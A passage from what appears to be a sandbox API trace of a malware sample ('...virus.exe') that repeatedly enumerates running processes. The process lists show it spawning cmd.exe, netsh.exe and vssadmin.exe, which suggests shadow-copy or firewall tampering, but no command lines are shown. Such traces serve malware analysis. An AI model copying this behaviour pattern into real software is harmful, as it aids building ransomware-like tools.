pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0220.084] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.084] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0220.084] CloseHandle (hObject=0x1a8) returned 1 [0220.085] Sleep (dwMilliseconds=0x1f4) [0221.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0221.480] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.480] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.480] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.481] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.481] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.481] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.482] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.482] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.483] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.483] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0221.483] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.484] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.485] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.485] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.485] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.486] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.486] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.486] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.487] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.487] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.488] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.488] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0221.488] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.489] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0221.489] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0221.489] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0221.490] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0221.490] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0221.490] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.491] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.491] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0221.492] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0221.492] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0221.492] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.493] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0221.493] CloseHandle (hObject=0x1a8) returned 1 [0221.493] Sleep (dwMilliseconds=0x1f4) [0222.523] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0222.525] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.528] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.528] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.528] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.531] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.531] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.531] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.533] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.533] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0222.533] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0222.534] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0222.534] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.534] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.535] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.535] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.535] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0222.536] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0222.536] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0222.536] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.537] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0222.537] CloseHandle (hObject=0x1b8) returned 1 [0222.537] Sleep (dwMilliseconds=0x1f4) [0223.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0223.044] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.045] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.045] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.046] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.046] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.046] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.047] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.047] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.048] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) 